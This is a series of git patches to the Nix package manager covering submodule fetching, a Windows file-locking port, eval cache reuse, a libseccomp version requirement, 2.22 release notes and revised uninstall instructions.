 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/manual/src/installation/uninstall.md b/doc/manual/src/installation/uninstall.md
index 0465ee5bbc7..7dda489dde3 100644
--- a/doc/manual/src/installation/uninstall.md
+++ b/doc/manual/src/installation/uninstall.md
@@ -7,7 +7,7 @@ If you have a [single-user installation](./installing-binary.md#single-user-inst
 ```console
 $ rm -rf /nix ~/.nix-channels ~/.nix-defexpr ~/.nix-profile
 ```
-You might also want to manually remove reference to Nix from your `~/.profile`.
+You might also want to manually remove references to Nix from your `~/.profile`.
 
 ## Multi User
 

From 750bcaa330744be3866c9e0df3f55eaed3de2093 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 22 Apr 2024 16:41:40 +0200
Subject: [PATCH 048/528] Fix fetchGit nested submodules

---
 src/libfetchers/unix/git.cc            |  5 +++
 tests/functional/fetchGitSubmodules.sh | 42 ++++++++++++++++++++++++++
 2 files changed, 47 insertions(+)

diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc
index 18915c0a7a0..0c54c550458 100644
--- a/src/libfetchers/unix/git.cc
+++ b/src/libfetchers/unix/git.cc
@@ -642,6 +642,8 @@ struct GitInputScheme : InputScheme
                     attrs.insert_or_assign("ref", submodule.branch);
                 attrs.insert_or_assign("rev", submoduleRev.gitRev());
                 attrs.insert_or_assign("exportIgnore", Explicit<bool>{ exportIgnore });
+                attrs.insert_or_assign("submodules", Explicit<bool>{ true });
+                attrs.insert_or_assign("allRefs", Explicit<bool>{ true });
                 auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs));
                 auto [submoduleAccessor, submoduleInput2] =
                     submoduleInput.getAccessor(store);
@@ -696,6 +698,9 @@ struct GitInputScheme : InputScheme
                 attrs.insert_or_assign("type", "git");
                 attrs.insert_or_assign("url", submodulePath.abs());
                 attrs.insert_or_assign("exportIgnore", Explicit<bool>{ exportIgnore });
+                attrs.insert_or_assign("submodules", Explicit<bool>{ true });
+                // TODO: fall back to getAccessorFromCommit-like fetch when submodules aren't checked out
+                // attrs.insert_or_assign("allRefs", Explicit<bool>{ true });
 
                 auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs));
                 auto [submoduleAccessor, submoduleInput2] =
diff --git a/tests/functional/fetchGitSubmodules.sh b/tests/functional/fetchGitSubmodules.sh
index cd180815d69..bd82a0a1755 100644
--- a/tests/functional/fetchGitSubmodules.sh
+++ b/tests/functional/fetchGitSubmodules.sh
@@ -170,3 +170,45 @@ pathWithSubmodules=$(nix eval --impure --raw --expr "(builtins.fetchGit { url =
 
 [[ -e $pathWithoutExportIgnore/exclude-from-root ]]
 [[ -e $pathWithoutExportIgnore/sub/exclude-from-sub ]]
+
+test_submodule_nested() {
+  local repoA=$TEST_ROOT/submodule_nested/a
+  local repoB=$TEST_ROOT/submodule_nested/b
+  local repoC=$TEST_ROOT/submodule_nested/c
+
+  rm -rf $repoA $repoB $repoC $TEST_HOME/.cache/nix
+
+  initGitRepo $repoC
+  touch $repoC/inside-c
+  git -C $repoC add inside-c
+  addGitContent $repoC
+
+  initGitRepo $repoB
+  git -C $repoB submodule add $repoC c
+  git -C $repoB add c
+  addGitContent $repoB
+
+  initGitRepo $repoA
+  git -C $repoA submodule add $repoB b
+  git -C $repoA add b
+  addGitContent $repoA
+
+
+  # Check non-worktree fetch
+  local rev=$(git -C $repoA rev-parse HEAD)
+  out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; rev = \"$rev\"; submodules = true; }).outPath")
+  test -e $out/b/c/inside-c
+  test -e $out/content
+  test -e $out/b/content
+  test -e $out/b/c/content
+  local nonWorktree=$out
+
+  # Check worktree based fetch
+  # TODO: make it work without git submodule update
+  git -C $repoA submodule update --init --recursive
+  out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; submodules = true; }).outPath")
+  find $out
+  [[ $out == $nonWorktree ]] || { find $out; false; }
+
+}
+test_submodule_nested

From aa165301d1ae3b306319a6a834dc1d4e340a7112 Mon Sep 17 00:00:00 2001
From: Dylan Green <67574902+cidkidnix@users.noreply.github.com>
Date: Mon, 22 Apr 2024 10:08:10 -0500
Subject: [PATCH 049/528] Pathlocks Implementation for Windows (#10586)

Based on Volth's original port.

Co-authored-by: volth <volth@volth.com>
---
 src/build-remote/build-remote.cc       |   1 -
 src/libstore/pathlocks.hh              |  34 +++++-
 src/libstore/unix/lock.cc              |   2 -
 src/libstore/unix/pathlocks-impl.hh    |  38 -------
 src/libstore/unix/pathlocks.cc         |  24 ++---
 src/libstore/windows/pathlocks-impl.hh |   2 -
 src/libstore/windows/pathlocks.cc      | 139 ++++++++++++++++++++++++-
 7 files changed, 178 insertions(+), 62 deletions(-)
 delete mode 100644 src/libstore/unix/pathlocks-impl.hh
 delete mode 100644 src/libstore/windows/pathlocks-impl.hh

diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc
index 2a4723643f8..18eee830b9e 100644
--- a/src/build-remote/build-remote.cc
+++ b/src/build-remote/build-remote.cc
@@ -22,7 +22,6 @@
 #include "experimental-features.hh"
 
 using namespace nix;
-using namespace nix::unix;
 using std::cin;
 
 static void handleAlarm(int sig) {
diff --git a/src/libstore/pathlocks.hh b/src/libstore/pathlocks.hh
index b97fbecb923..42a84a1a37b 100644
--- a/src/libstore/pathlocks.hh
+++ b/src/libstore/pathlocks.hh
@@ -5,10 +5,26 @@
 
 namespace nix {
 
+/**
+ * Open (possibly create) a lock file and return the file descriptor.
+ * -1 is returned if create is false and the lock could not be opened
+ * because it doesn't exist.  Any other error throws an exception.
+ */
+AutoCloseFD openLockFile(const Path & path, bool create);
+
+/**
+ * Delete an open lock file.
+ */
+void deleteLockFile(const Path & path, Descriptor desc);
+
+enum LockType { ltRead, ltWrite, ltNone };
+
+bool lockFile(Descriptor desc, LockType lockType, bool wait);
+
 class PathLocks
 {
 private:
-    typedef std::pair<int, Path> FDPair;
+    typedef std::pair<Descriptor, Path> FDPair;
     std::list<FDPair> fds;
     bool deletePaths;
 
@@ -24,6 +40,18 @@ public:
     void setDeletion(bool deletePaths);
 };
 
-}
+struct FdLock
+{
+    Descriptor desc;
+    bool acquired = false;
+
+    FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg);
 
-#include "pathlocks-impl.hh"
+    ~FdLock()
+    {
+        if (acquired)
+            lockFile(desc, ltNone, false);
+    }
+};
+
+}
diff --git a/src/libstore/unix/lock.cc b/src/libstore/unix/lock.cc
index fd7af171fca..023c74e349b 100644
--- a/src/libstore/unix/lock.cc
+++ b/src/libstore/unix/lock.cc
@@ -9,8 +9,6 @@
 
 namespace nix {
 
-using namespace nix::unix;
-
 #if __linux__
 
 static std::vector<gid_t> get_group_list(const char *username, gid_t group_id)
diff --git a/src/libstore/unix/pathlocks-impl.hh b/src/libstore/unix/pathlocks-impl.hh
deleted file mode 100644
index 31fe968bbb1..00000000000
--- a/src/libstore/unix/pathlocks-impl.hh
+++ /dev/null
@@ -1,38 +0,0 @@
-#pragma once
-///@file
-
-#include "file-descriptor.hh"
-
-namespace nix::unix {
-
-/**
- * Open (possibly create) a lock file and return the file descriptor.
- * -1 is returned if create is false and the lock could not be opened
- * because it doesn't exist.  Any other error throws an exception.
- */
-AutoCloseFD openLockFile(const Path & path, bool create);
-
-/**
- * Delete an open lock file.
- */
-void deleteLockFile(const Path & path, int fd);
-
-enum LockType { ltRead, ltWrite, ltNone };
-
-bool lockFile(int fd, LockType lockType, bool wait);
-
-struct FdLock
-{
-    int fd;
-    bool acquired = false;
-
-    FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg);
-
-    ~FdLock()
-    {
-        if (acquired)
-            lockFile(fd, ltNone, false);
-    }
-};
-
-}
diff --git a/src/libstore/unix/pathlocks.cc b/src/libstore/unix/pathlocks.cc
index 32c1b9ff44a..af21319a758 100644
--- a/src/libstore/unix/pathlocks.cc
+++ b/src/libstore/unix/pathlocks.cc
@@ -14,9 +14,7 @@
 
 namespace nix {
 
-using namespace nix::unix;
-
-AutoCloseFD unix::openLockFile(const Path & path, bool create)
+AutoCloseFD openLockFile(const Path & path, bool create)
 {
     AutoCloseFD fd;
 
@@ -28,20 +26,20 @@ AutoCloseFD unix::openLockFile(const Path & path, bool create)
 }
 
 
-void unix::deleteLockFile(const Path & path, int fd)
+void deleteLockFile(const Path & path, Descriptor desc)
 {
     /* Get rid of the lock file.  Have to be careful not to introduce
        races.  Write a (meaningless) token to the file to indicate to
        other processes waiting on this lock that the lock is stale
        (deleted). */
     unlink(path.c_str());
-    writeFull(fd, "d");
+    writeFull(desc, "d");
     /* Note that the result of unlink() is ignored; removing the lock
        file is an optimisation, not a necessity. */
 }
 
 
-bool unix::lockFile(int fd, LockType lockType, bool wait)
+bool lockFile(Descriptor desc, LockType lockType, bool wait)
 {
     int type;
     if (lockType == ltRead) type = LOCK_SH;
@@ -50,7 +48,7 @@ bool unix::lockFile(int fd, LockType lockType, bool wait)
     else abort();
 
     if (wait) {
-        while (flock(fd, type) != 0) {
+        while (flock(desc, type) != 0) {
             checkInterrupt();
             if (errno != EINTR)
                 throw SysError("acquiring/releasing lock");
@@ -58,7 +56,7 @@ bool unix::lockFile(int fd, LockType lockType, bool wait)
                 return false;
         }
     } else {
-        while (flock(fd, type | LOCK_NB) != 0) {
+        while (flock(desc, type | LOCK_NB) != 0) {
             checkInterrupt();
             if (errno == EWOULDBLOCK) return false;
             if (errno != EINTR)
@@ -149,16 +147,16 @@ void PathLocks::unlock()
 }
 
 
-FdLock::FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg)
-    : fd(fd)
+FdLock::FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg)
+    : desc(desc)
 {
     if (wait) {
-        if (!lockFile(fd, lockType, false)) {
+        if (!lockFile(desc, lockType, false)) {
             printInfo("%s", waitMsg);
-            acquired = lockFile(fd, lockType, true);
+            acquired = lockFile(desc, lockType, true);
         }
     } else
-        acquired = lockFile(fd, lockType, false);
+        acquired = lockFile(desc, lockType, false);
 }
 
 
diff --git a/src/libstore/windows/pathlocks-impl.hh b/src/libstore/windows/pathlocks-impl.hh
deleted file mode 100644
index ba3ad28d948..00000000000
--- a/src/libstore/windows/pathlocks-impl.hh
+++ /dev/null
@@ -1,2 +0,0 @@
-#pragma once
-///@file Needed because Unix-specific counterpart
diff --git a/src/libstore/windows/pathlocks.cc b/src/libstore/windows/pathlocks.cc
index ab4294c2ab0..738057f68b8 100644
--- a/src/libstore/windows/pathlocks.cc
+++ b/src/libstore/windows/pathlocks.cc
@@ -1,16 +1,149 @@
 #include "logging.hh"
 #include "pathlocks.hh"
+#include "signals.hh"
+#include "util.hh"
+#include <errhandlingapi.h>
+#include <fileapi.h>
+#include <windows.h>
+#include "windows-error.hh"
 
 namespace nix {
 
-bool PathLocks::lockPaths(const PathSet & _paths, const std::string & waitMsg, bool wait)
+void deleteLockFile(const Path & path, Descriptor desc)
 {
-    return true;
+
+    int exit = DeleteFileA(path.c_str());
+    if (exit == 0)
+        warn("%s: &s", path, std::to_string(GetLastError()));
 }
 
 void PathLocks::unlock()
 {
-    warn("PathLocks::unlock: not yet implemented");
+    for (auto & i : fds) {
+        if (deletePaths)
+            deleteLockFile(i.second, i.first);
+
+        if (CloseHandle(i.first) == -1)
+            printError("error (ignored): cannot close lock file on '%1%'", i.second);
+
+        debug("lock released on '%1%'", i.second);
+    }
+
+    fds.clear();
+}
+
+AutoCloseFD openLockFile(const Path & path, bool create)
+{
+    AutoCloseFD desc = CreateFileA(
+        path.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
+        create ? OPEN_ALWAYS : OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_POSIX_SEMANTICS, NULL);
+    if (desc.get() == INVALID_HANDLE_VALUE)
+        warn("%s: %s", path, std::to_string(GetLastError()));
+
+    return desc;
+}
+
+bool lockFile(Descriptor desc, LockType lockType, bool wait)
+{
+    switch (lockType) {
+    case ltNone: {
+        OVERLAPPED ov = {0};
+        if (!UnlockFileEx(desc, 0, 2, 0, &ov)) {
+            WinError winError("Failed to unlock file desc %s", desc);
+            throw winError;
+        }
+        return true;
+    }
+    case ltRead: {
+        OVERLAPPED ov = {0};
+        if (!LockFileEx(desc, wait ? 0 : LOCKFILE_FAIL_IMMEDIATELY, 0, 1, 0, &ov)) {
+            WinError winError("Failed to lock file desc %s", desc);
+            if (winError.lastError == ERROR_LOCK_VIOLATION)
+                return false;
+            throw winError;
+        }
+
+        ov.Offset = 1;
+        if (!UnlockFileEx(desc, 0, 1, 0, &ov)) {
+            WinError winError("Failed to unlock file desc %s", desc);
+            if (winError.lastError != ERROR_NOT_LOCKED)
+                throw winError;
+        }
+        return true;
+    }
+    case ltWrite: {
+        OVERLAPPED ov = {0};
+        ov.Offset = 1;
+        if (!LockFileEx(desc, LOCKFILE_EXCLUSIVE_LOCK | (wait ? 0 : LOCKFILE_FAIL_IMMEDIATELY), 0, 1, 0, &ov)) {
+            WinError winError("Failed to lock file desc %s", desc);
+            if (winError.lastError == ERROR_LOCK_VIOLATION)
+                return false;
+            throw winError;
+        }
+
+        ov.Offset = 0;
+        if (!UnlockFileEx(desc, 0, 1, 0, &ov)) {
+            WinError winError("Failed to unlock file desc %s", desc);
+            if (winError.lastError != ERROR_NOT_LOCKED)
+                throw winError;
+        }
+        return true;
+    }
+    default:
+        assert(false);
+    }
+}
+
+bool PathLocks::lockPaths(const PathSet & paths, const std::string & waitMsg, bool wait)
+{
+    assert(fds.empty());
+
+    for (auto & path : paths) {
+        checkInterrupt();
+        Path lockPath = path + ".lock";
+        debug("locking path '%1%'", path);
+
+        AutoCloseFD fd;
+
+        while (1) {
+            fd = openLockFile(lockPath, true);
+            if (!lockFile(fd.get(), ltWrite, false)) {
+                if (wait) {
+                    if (waitMsg != "")
+                        printError(waitMsg);
+                    lockFile(fd.get(), ltWrite, true);
+                } else {
+                    unlock();
+                    return false;
+                }
+            }
+
+            debug("lock aquired on '%1%'", lockPath);
+
+            struct _stat st;
+            if (_fstat(fromDescriptorReadOnly(fd.get()), &st) == -1)
+                throw SysError("statting lock file '%1%'", lockPath);
+            if (st.st_size != 0)
+                debug("open lock file '%1%' has become stale", lockPath);
+            else
+                break;
+        }
+
+        fds.push_back(FDPair(fd.release(), lockPath));
+    }
+    return true;
+}
+
+FdLock::FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg)
+    : desc(desc)
+{
+    if (wait) {
+        if (!lockFile(desc, lockType, false)) {
+            printInfo("%s", waitMsg);
+            acquired = lockFile(desc, lockType, true);
+        }
+    } else
+        acquired = lockFile(desc, lockType, false);
 }
 
 }

From a60a1f09b2f667d10ff0873b9fd5a70bad3febfd Mon Sep 17 00:00:00 2001
From: Guillaume Maudoux <guillaume.maudoux@tweag.io>
Date: Fri, 19 Apr 2024 16:21:51 +0200
Subject: [PATCH 050/528] Reuse eval caches and related values when possible

---
 src/libcmd/installables.cc | 22 +++++++++++++++-------
 src/libexpr/eval.hh        |  8 ++++++++
 2 files changed, 23 insertions(+), 7 deletions(-)

diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc
index ed67723778f..5683e1afa4c 100644
--- a/src/libcmd/installables.cc
+++ b/src/libcmd/installables.cc
@@ -444,12 +444,10 @@ ref<eval_cache::EvalCache> openEvalCache(
     std::shared_ptr<flake::LockedFlake> lockedFlake)
 {
     auto fingerprint = lockedFlake->getFingerprint(state.store);
-    return make_ref<nix::eval_cache::EvalCache>(
-        evalSettings.useEvalCache && evalSettings.pureEval
-            ? fingerprint
-            : std::nullopt,
-        state,
-        [&state, lockedFlake]()
+    auto hash = evalSettings.useEvalCache && evalSettings.pureEval
+        ? fingerprint
+        : std::nullopt;
+    auto rootLoader = [&state, lockedFlake]()
         {
             /* For testing whether the evaluation cache is
                complete. */
@@ -465,7 +463,17 @@ ref<eval_cache::EvalCache> openEvalCache(
             assert(aOutputs);
 
             return aOutputs->value;
-        });
+        };
+
+    if (hash) {
+        auto search = state.evalCaches.find(hash.value());
+        if (search == state.evalCaches.end()) {
+            search = state.evalCaches.emplace(hash.value(), make_ref<nix::eval_cache::EvalCache>(hash, state, rootLoader)).first;
+        }
+        return search->second;
+    } else {
+        return make_ref<nix::eval_cache::EvalCache>(hash, state, rootLoader);
+    }
 }
 
 Installables SourceExprCommand::parseInstallables(
diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh
index 3477f6c4699..5083613011a 100644
--- a/src/libexpr/eval.hh
+++ b/src/libexpr/eval.hh
@@ -34,6 +34,9 @@ class StorePath;
 struct SingleDerivedPath;
 enum RepairFlag : bool;
 struct MemoryInputAccessor;
+namespace eval_cache {
+    class EvalCache;
+}
 
 
 /**
@@ -282,6 +285,11 @@ public:
         return *new EvalErrorBuilder<T>(*this, args...);
     }
 
+    /**
+     * A cache for evaluation caches, so as to reuse the same root value if possible
+     */
+    std::map<const Hash, ref<eval_cache::EvalCache>> evalCaches;
+
 private:
 
     /* Cache for calls to addToStore(); maps source paths to the store

From 73918b0ae4f1bfbf0a11fb50df8b48f7135060ba Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Mon, 22 Apr 2024 20:19:03 +0200
Subject: [PATCH 051/528] Require at least libseccomp 2.5.5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #10585

As it turns out, libseccomp maintains an internal syscall table and
validates each rule against it. This means that when using libseccomp
2.5.4 or older, one may pass `452` as syscall number against it, but
since it doesn't exist in the internal structure, `libseccomp` will refuse
to create a filter for that. This happens with nixpkgs-23.11, i.e. on
stable NixOS and when building Nix against the project's flake.

To work around that

* a backport of libseccomp 2.5.5 on upstream nixpkgs has been
  scheduled[1].

* the package now uses libseccomp 2.5.5 on its own already. This is to
  provide a quick fix since the correct fix for 23.11 is still a staging cycle
  away.

It must not be possible to build a Nix with an incompatible libseccomp
version (nothing can be built in a sandbox on Linux!), so configure.ac
rejects libseccomp if `__SNR_fchmodat2` is not defined.

We still need the compat header though since `SCMP_SYS(fchmodat2)`
internally transforms this into `__SNR_fchmodat2` which points to
`__NR_fchmodat2` from glibc 2.39, so it wouldn't build on glibc 2.38.
The updated syscall table from libseccomp 2.5.5 is NOT used for that
step, but used later, so we need both, our compat header and their
syscall table 🤷

[1] https://github.com/NixOS/nixpkgs/pull/306070
---
 configure.ac | 11 +++++++++++
 package.nix  |  9 ++++++++-
 2 files changed, 19 insertions(+), 1 deletion(-)

diff --git a/configure.ac b/configure.ac
index 1d327d51dfb..8f60bf4beb7 100644
--- a/configure.ac
+++ b/configure.ac
@@ -317,6 +317,17 @@ case "$host_os" in
                         [CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS"])
       have_seccomp=1
       AC_DEFINE([HAVE_SECCOMP], [1], [Whether seccomp is available and should be used for sandboxing.])
+      AC_COMPILE_IFELSE([
+        AC_LANG_SOURCE([[
+          #include <seccomp.h>
+          #ifndef __SNR_fchmodat2
+          # error "Missing support for fchmodat2"
+          #endif
+        ]])
+      ], [], [
+        echo "libseccomp is missing __SNR_fchmodat2. Please provide libseccomp 2.5.5 or later"
+        exit 1
+      ])
     else
       have_seccomp=
     fi
diff --git a/package.nix b/package.nix
index d11743427a6..59265f5222b 100644
--- a/package.nix
+++ b/package.nix
@@ -1,4 +1,5 @@
 { lib
+, fetchurl
 , stdenv
 , releaseTools
 , autoconf-archive
@@ -248,7 +249,13 @@ in {
   ] ++ lib.optionals buildUnitTests [
     gtest
     rapidcheck
-  ] ++ lib.optional stdenv.isLinux libseccomp
+  ] ++ lib.optional stdenv.isLinux (libseccomp.overrideAttrs (_: rec {
+    version = "2.5.5";
+    src = fetchurl {
+      url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz";
+      hash = "sha256-JIosik2bmFiqa69ScSw0r+/PnJ6Ut23OAsHJqiX7M3U=";
+    };
+  }))
     ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid
     # There have been issues building these dependencies
     ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin))

From 34c5346e98a6f35f17172caad3b67a99e7f5b854 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 23 Apr 2024 10:19:32 +0200
Subject: [PATCH 052/528] release notes: 2.22.0

---
 doc/manual/rl-next/nix-eval-derivations.md | 13 -------------
 doc/manual/rl-next/remove-repl-flake.md    |  8 --------
 doc/manual/src/SUMMARY.md.in               |  1 +
 doc/manual/src/release-notes/rl-2.22.md    | 21 +++++++++++++++++++++
 4 files changed, 22 insertions(+), 21 deletions(-)
 delete mode 100644 doc/manual/rl-next/nix-eval-derivations.md
 delete mode 100644 doc/manual/rl-next/remove-repl-flake.md
 create mode 100644 doc/manual/src/release-notes/rl-2.22.md

diff --git a/doc/manual/rl-next/nix-eval-derivations.md b/doc/manual/rl-next/nix-eval-derivations.md
deleted file mode 100644
index ed0a7338464..00000000000
--- a/doc/manual/rl-next/nix-eval-derivations.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-synopsis: "`nix eval` prints derivations as `.drv` paths"
-prs: 10200
----
-
-`nix eval` will now print derivations as their `.drv` paths, rather than as
-attribute sets. This makes commands like `nix eval nixpkgs#bash` terminate
-instead of infinitely looping into recursive self-referential attributes:
-
-```ShellSession
-$ nix eval nixpkgs#bash
-«derivation /nix/store/m32cbgbd598f4w299g0hwyv7gbw6rqcg-bash-5.2p26.drv»
-```
diff --git a/doc/manual/rl-next/remove-repl-flake.md b/doc/manual/rl-next/remove-repl-flake.md
deleted file mode 100644
index 23298e2edea..00000000000
--- a/doc/manual/rl-next/remove-repl-flake.md
+++ /dev/null
@@ -1,8 +0,0 @@
----
-synopsis: Remove experimental repl-flake
-significance: significant
-issues: 10103
-prs: 10299
----
-
-The `repl-flake` experimental feature has been removed. The `nix repl` command now works like the rest of the new CLI in that `nix repl {path}` now tries to load a flake at `{path}` (or fails if the `flakes` experimental feature isn't enabled).*
diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in
index d9044fbdac6..77531d66526 100644
--- a/doc/manual/src/SUMMARY.md.in
+++ b/doc/manual/src/SUMMARY.md.in
@@ -122,6 +122,7 @@
   - [C++ style guide](contributing/cxx.md)
 - [Releases](release-notes/index.md)
 {{#include ./SUMMARY-rl-next.md}}
+  - [Release 2.22 (2024-04-23)](release-notes/rl-2.22.md)
   - [Release 2.21 (2024-03-11)](release-notes/rl-2.21.md)
   - [Release 2.20 (2024-01-29)](release-notes/rl-2.20.md)
   - [Release 2.19 (2023-11-17)](release-notes/rl-2.19.md)
diff --git a/doc/manual/src/release-notes/rl-2.22.md b/doc/manual/src/release-notes/rl-2.22.md
new file mode 100644
index 00000000000..e916cb8a3e0
--- /dev/null
+++ b/doc/manual/src/release-notes/rl-2.22.md
@@ -0,0 +1,21 @@
+# Release 2.22.0 (2024-04-23)
+
+### Significant changes
+
+- Remove experimental repl-flake [#10103](https://github.com/NixOS/nix/issues/10103) [#10299](https://github.com/NixOS/nix/pull/10299)
+
+  The `repl-flake` experimental feature has been removed. The `nix repl` command now works like the rest of the new CLI in that `nix repl {path}` now tries to load a flake at `{path}` (or fails if the `flakes` experimental feature isn't enabled).*
+
+### Other changes
+
+- `nix eval` prints derivations as `.drv` paths [#10200](https://github.com/NixOS/nix/pull/10200)
+
+  `nix eval` will now print derivations as their `.drv` paths, rather than as
+  attribute sets. This makes commands like `nix eval nixpkgs#bash` terminate
+  instead of infinitely looping into recursive self-referential attributes:
+
+  ```ShellSession
+  $ nix eval nixpkgs#bash
+  «derivation /nix/store/m32cbgbd598f4w299g0hwyv7gbw6rqcg-bash-5.2p26.drv»
+  ```
+

From b219017b8882055cc959474946a586d6e8307ea7 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 23 Apr 2024 10:21:45 +0200
Subject: [PATCH 053/528] Typo

---
 doc/manual/src/release-notes/rl-2.22.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/manual/src/release-notes/rl-2.22.md b/doc/manual/src/release-notes/rl-2.22.md
index e916cb8a3e0..c78d3d692af 100644
--- a/doc/manual/src/release-notes/rl-2.22.md
+++ b/doc/manual/src/release-notes/rl-2.22.md
@@ -4,7 +4,7 @@
 
 - Remove experimental repl-flake [#10103](https://github.com/NixOS/nix/issues/10103) [#10299](https://github.com/NixOS/nix/pull/10299)
 
-  The `repl-flake` experimental feature has been removed. The `nix repl` command now works like the rest of the new CLI in that `nix repl {path}` now tries to load a flake at `{path}` (or fails if the `flakes` experimental feature isn't enabled).*
+  The `repl-flake` experimental feature has been removed. The `nix repl` command now works like the rest of the new CLI in that `nix repl {path}` now tries to load a flake at `{path}` (or fails if the `flakes` experimental feature isn't enabled).
 
 ### Other changes
 

From 26384a3187181695c24d420676d4d1d0a1faa7fd Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 23 Apr 2024 14:14:13 +0200
Subject: [PATCH 054/528] Bump version

---
 .version | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.version b/.version
index f48f82fa2c4..e9763f6bfed 100644
--- a/.version
+++ b/.version
@@ -1 +1 @@
-2.22.0
+2.23.0

From 5747d244ed82bd93508dae7af6a39c57f9518bc5 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Wed, 24 Apr 2024 17:04:49 +0200
Subject: [PATCH 055/528] streamline macOS uninstall instructions (#10589)

* move single-user uninstall to the end

this is not the default method of installation, and therefore irrelevant
for most users.

* move the backup restore instructions to the first step

for most users we can expect that the system-wide shell init files were
not ever touched, so we can as well tell them to do the most likely
thing.

from experience, while it's not necessarily safe to just mess with these
files, most people are simply confused by the complexity of
instructions.

* provide more detailed instructions for using `sudo vifs`

we can expect most beginners not to ever have used `vi`, and they will
probably need some hand-holding.

* express instructions as a script

Co-authored-by: wamirez <wamirez@protonmail.com>
Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 doc/manual/src/installation/uninstall.md | 110 ++++++++++++-----------
 1 file changed, 58 insertions(+), 52 deletions(-)

diff --git a/doc/manual/src/installation/uninstall.md b/doc/manual/src/installation/uninstall.md
index 7dda489dde3..590327fea1b 100644
--- a/doc/manual/src/installation/uninstall.md
+++ b/doc/manual/src/installation/uninstall.md
@@ -1,17 +1,8 @@
 # Uninstalling Nix
 
-## Single User
-
-If you have a [single-user installation](./installing-binary.md#single-user-installation) of Nix, uninstall it by running:
-
-```console
-$ rm -rf /nix ~/.nix-channels ~/.nix-defexpr ~/.nix-profile
-```
-You might also want to manually remove references to Nix from your `~/.profile`.
-
 ## Multi User
 
-Removing a [multi-user installation](./installing-binary.md#multi-user-installation) of Nix is more involved, and depends on the operating system.
+Removing a [multi-user installation](./installing-binary.md#multi-user-installation) depends on the operating system.
 
 ### Linux
 
@@ -52,7 +43,15 @@ which you may remove.
 
 ### macOS
 
-1. Edit `/etc/zshrc`, `/etc/bashrc`, and `/etc/bash.bashrc` to remove the lines sourcing `nix-daemon.sh`, which should look like this:
+1. If system-wide shell initialisation files haven't been altered since installing Nix, use the backups made by the installer:
+
+   ```console
+   sudo mv /etc/zshrc.backup-before-nix /etc/zshrc
+   sudo mv /etc/bashrc.backup-before-nix /etc/bashrc
+   sudo mv /etc/bash.bashrc.backup-before-nix /etc/bash.bashrc
+   ```
+
+   Otherwise, edit `/etc/zshrc`, `/etc/bashrc`, and `/etc/bash.bashrc` to remove the lines sourcing `nix-daemon.sh`, which should look like this:
 
    ```bash
    # Nix
@@ -62,18 +61,6 @@ which you may remove.
    # End Nix
    ```
 
-   If these files haven't been altered since installing Nix you can simply put
-   the backups back in place:
-
-   ```console
-   sudo mv /etc/zshrc.backup-before-nix /etc/zshrc
-   sudo mv /etc/bashrc.backup-before-nix /etc/bashrc
-   sudo mv /etc/bash.bashrc.backup-before-nix /etc/bash.bashrc
-   ```
-
-   This will stop shells from sourcing the file and bringing everything you
-   installed using Nix in scope.
-
 2. Stop and remove the Nix daemon services:
 
    ```console
@@ -83,8 +70,7 @@ which you may remove.
    sudo rm /Library/LaunchDaemons/org.nixos.darwin-store.plist
    ```
 
-   This stops the Nix daemon and prevents it from being started next time you
-   boot the system.
+   This stops the Nix daemon and prevents it from being started next time you boot the system.
 
 3. Remove the `nixbld` group and the `_nixbuildN` users:
 
@@ -95,25 +81,42 @@ which you may remove.
 
    This will remove all the build users that no longer serve a purpose.
 
-4. Edit fstab using `sudo vifs` to remove the line mounting the Nix Store
-   volume on `/nix`, which looks like
-   `UUID=<uuid> /nix apfs rw,noauto,nobrowse,suid,owners` or
-   `LABEL=Nix\040Store /nix apfs rw,nobrowse`. This will prevent automatic
-   mounting of the Nix Store volume.
+4. Edit fstab using `sudo vifs` to remove the line mounting the Nix Store volume on `/nix`, which looks like
+
+   ```
+   UUID=<uuid> /nix apfs rw,noauto,nobrowse,suid,owners
+   ```
+   or
 
-5. Edit `/etc/synthetic.conf` to remove the `nix` line. If this is the only
-   line in the file you can remove it entirely, `sudo rm /etc/synthetic.conf`.
-   This will prevent the creation of the empty `/nix` directory to provide a
-   mountpoint for the Nix Store volume.
+   ```
+   LABEL=Nix\040Store /nix apfs rw,nobrowse
+   ```
 
-6. Remove the files Nix added to your system:
